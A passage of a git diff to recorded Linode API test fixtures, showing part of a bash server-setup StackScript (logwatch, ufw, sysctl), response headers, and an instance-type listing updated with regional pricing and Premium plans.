CONF=/etc/logwatch/conf/logwatch.conf\n test -f $CONF - || exit 0\n\n set_conf_value $CONF \"Output\" \"mail\"\n set_conf_value $CONF - \"Format\" \"html\"\n set_conf_value $CONF \"Detail\" \"Med\"\n}\n\nfunction - configure_ufw {\n # $1, $2, $3... - ports to allow\n ufw logging on\n ufw - default deny\n\n while [ $# -gt 0 ]; do\n ufw allow $1\n shift\n done\n\n ufw - enable\n}\n\n# Utility\nfunction restart_services {\n # restarts services that - have a file in /tmp/needs-restart/\n for service in $(ls /tmp/restart-* | cut - -d- -f2-10); do\n service $service restart\n rm -f /tmp/restart-$service\n done\n}\n\nfunction - fix_page_allocation_error {\n sysctl vm.min_free_kbytes=16384\n cat << EOT - > /etc/sysctl.conf\n\n###################################################################\n# - Fix for page allocation failure\nvm.min_free_kbytes = 16384\nEOT\n touch /tmp/restart-rsyslog\n}", - "user_defined_fields": []}], "page": 1, "pages": 22, "results": 2132}' + Webuzo !\"\necho \" \"", "user_defined_fields": []}], "page": 1, "pages": 26, + "results": 2504}' headers: Access-Control-Allow-Credentials: - "true" @@ -3567,19 +3685,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:46 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - stackscripts:read_only X-Content-Type-Options: @@ -3588,7 +3710,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "20" X-Xss-Protection: diff --git a/test/integration/fixtures/ExampleListTypes_all.yaml b/test/integration/fixtures/ExampleListTypes_all.yaml index 933ceaf9f..a3b9295a4 100644 --- a/test/integration/fixtures/ExampleListTypes_all.yaml +++ b/test/integration/fixtures/ExampleListTypes_all.yaml @@ -15,112 +15,250 @@ interactions: method: GET response: body: '{"data": [{"id": "g6-nanode-1", "label": "Nanode 1GB", "price": {"hourly": - 0.0075, "monthly": 5.0}, "addons": {"backups": {"price": {"hourly": 0.003, "monthly": - 2.0}}}, "memory": 1024, "disk": 25600, "transfer": 1000, "vcpus": 1, "gpus": - 0, "network_out": 1000, "class": "nanode", "successor": null}, {"id": "g6-standard-1", - "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": 12.0}, "addons": - {"backups": {"price": {"hourly": 0.004, "monthly": 2.5}}}, "memory": 2048, "disk": - 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class": - "standard", "successor": null}, {"id": "g6-standard-2", "label": "Linode 4GB", - "price": {"hourly": 0.036, "monthly": 24.0}, "addons": {"backups": {"price": - {"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer": - 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "standard", "successor": - null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.072, - "monthly": 48.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": - 10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": - 0, "network_out": 5000, "class": "standard", "successor": null}, {"id": "g6-standard-6", - "label": "Linode 16GB", "price": {"hourly": 0.144, "monthly": 96.0}, "addons": - {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384, - "disk": 327680, "transfer": 8000, "vcpus": 6, "gpus": 0, "network_out": 6000, - "class": "standard", "successor": null}, {"id": "g6-standard-8", "label": "Linode - 32GB", "price": {"hourly": 0.288, "monthly": 192.0}, "addons": {"backups": {"price": - {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, "transfer": - 16000, "vcpus": 8, "gpus": 0, "network_out": 7000, "class": "standard", "successor": - null}, {"id": "g6-standard-16", "label": "Linode 64GB", "price": {"hourly": - 0.576, "monthly": 384.0}, "addons": {"backups": {"price": {"hourly": 0.12, "monthly": - 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": - 0, "network_out": 9000, "class": "standard", "successor": null}, {"id": "g6-standard-20", - "label": "Linode 96GB", "price": {"hourly": 0.864, "monthly": 576.0}, "addons": - {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}}}, "memory": 98304, - "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000, - "class": "standard", "successor": null}, {"id": "g6-standard-24", "label": "Linode - 128GB", "price": {"hourly": 1.152, "monthly": 768.0}, "addons": {"backups": - {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, "disk": 2621440, - "transfer": 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", - "successor": null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": - {"hourly": 1.728, "monthly": 1152.0}, "addons": {"backups": {"price": {"hourly": - 0.36, "monthly": 240.0}}}, "memory": 196608, "disk": 3932160, "transfer": 20000, + 0.0075, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, + "monthly": 6.0}, {"id": "br-gru", "hourly": 0.0105, "monthly": 7.0}], "addons": + {"backups": {"price": {"hourly": 0.003, "monthly": 2.0}, "region_prices": [{"id": + "id-cgk", "hourly": 0.0036, "monthly": 2.4}, {"id": "br-gru", "hourly": 0.004, + "monthly": 2.8}]}}, "memory": 1024, "disk": 25600, "transfer": 1000, "vcpus": + 1, "gpus": 0, "network_out": 1000, "class": "nanode", "successor": null}, {"id": + "g6-standard-1", "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": + 12.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.022, "monthly": 14.4}, + {"id": "br-gru", "hourly": 0.025, "monthly": 16.8}], "addons": {"backups": {"price": + {"hourly": 0.004, "monthly": 2.5}, "region_prices": [{"id": "id-cgk", "hourly": + 0.0045, "monthly": 3.0}, {"id": "br-gru", "hourly": 0.005, "monthly": 3.5}]}}, + "memory": 2048, "disk": 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": + 2000, "class": "standard", "successor": null}, {"id": "g6-standard-2", "label": + "Linode 4GB", "price": {"hourly": 0.036, "monthly": 24.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.043, "monthly": 28.8}, {"id": "br-gru", "hourly": + 0.05, "monthly": 33.6}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": + 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": + "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, + "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "standard", + "successor": null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": + {"hourly": 0.072, "monthly": 48.0}, "region_prices": [{"id": "id-cgk", "hourly": + 0.086, "monthly": 57.6}, {"id": "br-gru", "hourly": 0.101, "monthly": 67.2}], + "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": + 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, + "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "standard", "successor": + null}, {"id": "g6-standard-6", "label": "Linode 16GB", "price": {"hourly": 0.144, + "monthly": 96.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.173, "monthly": + 115.2}, {"id": "br-gru", "hourly": 0.202, "monthly": 134.4}], "addons": {"backups": + {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", + "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": + 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 8000, "vcpus": 6, "gpus": + 0, "network_out": 6000, "class": "standard", "successor": null}, {"id": "g6-standard-8", + "label": "Linode 32GB", "price": {"hourly": 0.288, "monthly": 192.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.346, "monthly": 230.4}, {"id": "br-gru", "hourly": + 0.403, "monthly": 268.8}], "addons": {"backups": {"price": {"hourly": 0.06, + "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": + 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, + "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 0, "network_out": 7000, + "class": "standard", "successor": null}, {"id": "g6-standard-16", "label": "Linode + 64GB", "price": {"hourly": 0.576, "monthly": 384.0}, "region_prices": [{"id": + "id-cgk", "hourly": 0.691, "monthly": 460.8}, {"id": "br-gru", "hourly": 0.806, + "monthly": 537.6}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": + 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, + {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": + 1310720, "transfer": 20000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": + "standard", "successor": null}, {"id": "g6-standard-20", "label": "Linode 96GB", + "price": {"hourly": 0.864, "monthly": 576.0}, "region_prices": [{"id": "id-cgk", + "hourly": 1.037, "monthly": 691.2}, {"id": "br-gru", "hourly": 1.21, "monthly": + 806.4}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, + "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": + "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, + "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000, "class": "standard", + "successor": null}, {"id": "g6-standard-24", "label": "Linode 128GB", "price": + {"hourly": 1.152, "monthly": 768.0}, "region_prices": [{"id": "id-cgk", "hourly": + 1.382, "monthly": 921.6}, {"id": "br-gru", "hourly": 1.613, "monthly": 1075.2}], + "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": + 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2621440, "transfer": + 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", "successor": + null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": {"hourly": + 1.728, "monthly": 1152.0}, "region_prices": [{"id": "id-cgk", "hourly": 2.074, + "monthly": 1382.4}, {"id": "br-gru", "hourly": 2.419, "monthly": 1612.8}], "addons": + {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": + "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, + "monthly": 336.0}]}}, "memory": 196608, "disk": 3932160, "transfer": 20000, "vcpus": 32, "gpus": 0, "network_out": 12000, "class": "standard", "successor": null}, {"id": "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09, - "monthly": 60.0}, "addons": {"backups": {"price": {"hourly": 0.0075, "monthly": - 5.0}}}, "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": + "monthly": 60.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.108, "monthly": + 72.0}, {"id": "br-gru", "hourly": 0.126, "monthly": 84.0}], "addons": {"backups": + {"price": {"hourly": 0.0075, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", + "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.0105, "monthly": + 7.0}]}}, "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": 0, "network_out": 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2", - "label": "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "addons": - {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 49152, + "label": "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": + 0.252, "monthly": 168.0}], "addons": {"backups": {"price": {"hourly": 0.015, + "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": + 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 49152, "disk": 40960, "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000, "class": "highmem", "successor": null}, {"id": "g7-highmem-4", "label": "Linode - 90GB", "price": {"hourly": 0.36, "monthly": 240.0}, "addons": {"backups": {"price": - {"hourly": 0.03, "monthly": 20.0}}}, "memory": 92160, "disk": 92160, "transfer": - 7000, "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor": - null}, {"id": "g7-highmem-8", "label": "Linode 150GB", "price": {"hourly": 0.72, - "monthly": 480.0}, "addons": {"backups": {"price": {"hourly": 0.06, "monthly": - 40.0}}}, "memory": 153600, "disk": 204800, "transfer": 8000, "vcpus": 8, "gpus": - 0, "network_out": 8000, "class": "highmem", "successor": null}, {"id": "g7-highmem-16", - "label": "Linode 300GB", "price": {"hourly": 1.44, "monthly": 960.0}, "addons": - {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}}}, "memory": 307200, - "disk": 348160, "transfer": 9000, "vcpus": 16, "gpus": 0, "network_out": 9000, - "class": "highmem", "successor": null}, {"id": "g6-dedicated-2", "label": "Dedicated - 4GB", "price": {"hourly": 0.054, "monthly": 36.0}, "addons": {"backups": {"price": - {"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer": - 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "dedicated", "successor": - null}, {"id": "g6-dedicated-4", "label": "Dedicated 8GB", "price": {"hourly": - 0.108, "monthly": 72.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": - 10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": + 90GB", "price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": + "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, + "monthly": 336.0}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": + 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, + {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 92160, "disk": + 92160, "transfer": 7000, "vcpus": 4, "gpus": 0, "network_out": 7000, "class": + "highmem", "successor": null}, {"id": "g7-highmem-8", "label": "Linode 150GB", + "price": {"hourly": 0.72, "monthly": 480.0}, "region_prices": [{"id": "id-cgk", + "hourly": 0.864, "monthly": 576.0}, {"id": "br-gru", "hourly": 1.008, "monthly": + 672.0}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, + "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": + "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 153600, "disk": 204800, + "transfer": 8000, "vcpus": 8, "gpus": 0, "network_out": 8000, "class": "highmem", + "successor": null}, {"id": "g7-highmem-16", "label": "Linode 300GB", "price": + {"hourly": 1.44, "monthly": 960.0}, "region_prices": [{"id": "id-cgk", "hourly": + 1.728, "monthly": 1152.0}, {"id": "br-gru", "hourly": 2.016, "monthly": 1344.0}], + "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": + 0.168, "monthly": 112.0}]}}, "memory": 307200, "disk": 348160, "transfer": 9000, + "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "highmem", "successor": + null}, {"id": "g6-dedicated-2", "label": "Dedicated 4GB", "price": {"hourly": + 0.054, "monthly": 36.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.065, + "monthly": 43.2}, {"id": "br-gru", "hourly": 0.076, "monthly": 50.4}], "addons": + {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": + "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.01, + "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": + 2, "gpus": 0, "network_out": 4000, "class": "dedicated", "successor": null}, + {"id": "g6-dedicated-4", "label": "Dedicated 8GB", "price": {"hourly": 0.108, + "monthly": 72.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.13, "monthly": + 86.4}, {"id": "br-gru", "hourly": 0.151, "monthly": 100.8}], "addons": {"backups": + {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", + "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": + 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-8", - "label": "Dedicated 16GB", "price": {"hourly": 0.216, "monthly": 144.0}, "addons": - {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384, + "label": "Dedicated 16GB", "price": {"hourly": 0.216, "monthly": 144.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.259, "monthly": 172.8}, {"id": "br-gru", "hourly": + 0.302, "monthly": 201.6}], "addons": {"backups": {"price": {"hourly": 0.03, + "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": + 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": 0, "network_out": 6000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-16", "label": - "Dedicated 32GB", "price": {"hourly": 0.432, "monthly": 288.0}, "addons": {"backups": - {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": 32768, "disk": 655360, - "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, "class": "dedicated", - "successor": null}, {"id": "g6-dedicated-32", "label": "Dedicated 64GB", "price": - {"hourly": 0.864, "monthly": 576.0}, "addons": {"backups": {"price": {"hourly": - 0.12, "monthly": 80.0}}}, "memory": 65536, "disk": 1310720, "transfer": 8000, - "vcpus": 32, "gpus": 0, "network_out": 8000, "class": "dedicated", "successor": - null}, {"id": "g6-dedicated-48", "label": "Dedicated 96GB", "price": {"hourly": - 1.296, "monthly": 864.0}, "addons": {"backups": {"price": {"hourly": 0.18, "monthly": - 120.0}}}, "memory": 98304, "disk": 1966080, "transfer": 9000, "vcpus": 48, "gpus": - 0, "network_out": 9000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-50", - "label": "Dedicated 128GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "addons": - {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}}}, "memory": 131072, - "disk": 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, - "class": "dedicated", "successor": null}, {"id": "g6-dedicated-56", "label": - "Dedicated 256GB", "price": {"hourly": 3.456, "monthly": 2304.0}, "addons": - {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}}}, "memory": 262144, - "disk": 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, - "class": "dedicated", "successor": null}, {"id": "g6-dedicated-64", "label": - "Dedicated 512GB", "price": {"hourly": 6.912, "monthly": 4608.0}, "addons": - {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}}}, "memory": 524288, - "disk": 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, - "class": "dedicated", "successor": null}, {"id": "g1-gpu-rtx6000-1", "label": - "Dedicated 32GB + RTX6000 GPU x1", "price": {"hourly": 1.5, "monthly": 1000.0}, - "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}}}, "memory": - 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 1, "network_out": + "Dedicated 32GB", "price": {"hourly": 0.432, "monthly": 288.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.518, "monthly": 345.6}, {"id": "br-gru", "hourly": + 0.605, "monthly": 403.2}], "addons": {"backups": {"price": {"hourly": 0.06, + "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": + 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, + "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, + "class": "dedicated", "successor": null}, {"id": "g6-dedicated-32", "label": + "Dedicated 64GB", "price": {"hourly": 0.864, "monthly": 576.0}, "region_prices": + [{"id": "id-cgk", "hourly": 1.037, "monthly": 691.2}, {"id": "br-gru", "hourly": + 1.21, "monthly": 806.4}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": + 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, + {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": + 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": + "dedicated", "successor": null}, {"id": "g6-dedicated-48", "label": "Dedicated + 96GB", "price": {"hourly": 1.296, "monthly": 864.0}, "region_prices": [{"id": + "id-cgk", "hourly": 1.555, "monthly": 1036.8}, {"id": "br-gru", "hourly": 1.814, + "monthly": 1209.6}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": + 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, + {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": + 1966080, "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": + "dedicated", "successor": null}, {"id": "g6-dedicated-50", "label": "Dedicated + 128GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "region_prices": [{"id": + "id-cgk", "hourly": 2.074, "monthly": 1382.4}, {"id": "br-gru", "hourly": 2.419, + "monthly": 1612.8}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": + 160.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, + {"id": "br-gru", "hourly": 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": + 2560000, "transfer": 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": + "dedicated", "successor": null}, {"id": "g6-dedicated-56", "label": "Dedicated + 256GB", "price": {"hourly": 3.456, "monthly": 2304.0}, "region_prices": [{"id": + "id-cgk", "hourly": 4.147, "monthly": 2764.8}, {"id": "br-gru", "hourly": 4.838, + "monthly": 3225.6}], "addons": {"backups": {"price": {"hourly": 0.3, "monthly": + 200.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.36, "monthly": 240.0}, + {"id": "br-gru", "hourly": 0.42, "monthly": 280.0}]}}, "memory": 262144, "disk": + 5120000, "transfer": 11000, "vcpus": 56, "gpus": 0, "network_out": 11000, "class": + "dedicated", "successor": null}, {"id": "g6-dedicated-64", "label": "Dedicated + 512GB", "price": {"hourly": 6.912, "monthly": 4608.0}, "region_prices": [{"id": + "id-cgk", "hourly": 8.294, "monthly": 5529.6}, {"id": "br-gru", "hourly": 9.677, + "monthly": 6451.2}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": + 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, + {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}]}}, "memory": 524288, "disk": + 7372800, "transfer": 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": + "dedicated", "successor": null}, {"id": "g7-premium-2", "label": "Premium 4GB", + "price": {"hourly": 0.0645, "monthly": 43.0}, "region_prices": [{"id": "id-cgk", + "hourly": 0.078, "monthly": 51.84}, {"id": "br-gru", "hourly": 0.091, "monthly": + 60.48}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, + "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": + "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, + "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "premium", + "successor": null}, {"id": "g7-premium-4", "label": "Premium 8GB", "price": + {"hourly": 0.129, "monthly": 86.0}, "region_prices": [{"id": "id-cgk", "hourly": + 0.156, "monthly": 103.68}, {"id": "br-gru", "hourly": 0.181, "monthly": 120.96}], + "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": + 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, + "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "premium", "successor": + null}, {"id": "g7-premium-8", "label": "Premium 16GB", "price": {"hourly": 0.2595, + "monthly": 173.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.311, "monthly": + 207.36}, {"id": "br-gru", "hourly": 0.363, "monthly": 241.92}], "addons": {"backups": + {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", + "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": + 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 6000, "vcpus": 8, "gpus": + 0, "network_out": 6000, "class": "premium", "successor": null}, {"id": "g7-premium-16", + "label": "Premium 32GB", "price": {"hourly": 0.519, "monthly": 346.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.622, "monthly": 414.72}, {"id": "br-gru", "hourly": + 0.726, "monthly": 483.84}], "addons": {"backups": {"price": {"hourly": 0.06, + "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": + 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, + "disk": 655360, "transfer": 7000, "vcpus": 16, "gpus": 0, "network_out": 7000, + "class": "premium", "successor": null}, {"id": "g7-premium-32", "label": "Premium + 64GB", "price": {"hourly": 1.0365, "monthly": 691.0}, "region_prices": [{"id": + "id-cgk", "hourly": 1.244, "monthly": 829.44}, {"id": "br-gru", "hourly": 1.452, + "monthly": 967.68}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": + 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, + {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": + 1310720, "transfer": 8000, "vcpus": 32, "gpus": 0, "network_out": 8000, "class": + "premium", "successor": null}, {"id": "g7-premium-48", "label": "Premium 96GB", + "price": {"hourly": 1.5555, "monthly": 1037.0}, "region_prices": [{"id": "id-cgk", + "hourly": 1.866, "monthly": 1244.16}, {"id": "br-gru", "hourly": 2.177, "monthly": + 1451.52}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, + "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": + "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, + "transfer": 9000, "vcpus": 48, "gpus": 0, "network_out": 9000, "class": "premium", + "successor": null}, {"id": "g7-premium-50", "label": "Premium 128GB", "price": + {"hourly": 2.073, "monthly": 1382.0}, "region_prices": [{"id": "id-cgk", "hourly": + 2.488, "monthly": 1658.88}, {"id": "br-gru", "hourly": 2.903, "monthly": 1935.36}], + "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": + 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2560000, "transfer": + 10000, "vcpus": 50, "gpus": 0, "network_out": 10000, "class": "premium", "successor": + null}, {"id": "g7-premium-56", "label": "Premium 256GB", "price": {"hourly": + 4.1475, "monthly": 2765.0}, "region_prices": [{"id": "id-cgk", "hourly": 4.977, + "monthly": 3317.76}, {"id": "br-gru", "hourly": 5.806, "monthly": 3870.72}], + "addons": {"backups": {"price": {"hourly": 0.3, "monthly": 200.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.36, "monthly": 240.0}, {"id": "br-gru", "hourly": + 0.42, "monthly": 280.0}]}}, "memory": 262144, "disk": 5120000, "transfer": 11000, + "vcpus": 56, "gpus": 0, "network_out": 11000, "class": "premium", "successor": + null}, {"id": "g7-premium-64", "label": "Premium 512GB", "price": {"hourly": + 8.295, "monthly": 5530.0}, "region_prices": [{"id": "id-cgk", "hourly": 9.953, + "monthly": 6635.52}, {"id": "br-gru", "hourly": 11.612, "monthly": 7741.44}], + "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": + [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": + 0.504, "monthly": 336.0}]}}, "memory": 524288, "disk": 7372800, "transfer": + 12000, "vcpus": 64, "gpus": 0, "network_out": 12000, "class": "premium", "successor": + null}, {"id": "g1-gpu-rtx6000-1", "label": "Dedicated 32GB + RTX6000 GPU x1", + "price": {"hourly": 1.5, "monthly": 1000.0}, "region_prices": [], "addons": + {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": []}}, + "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 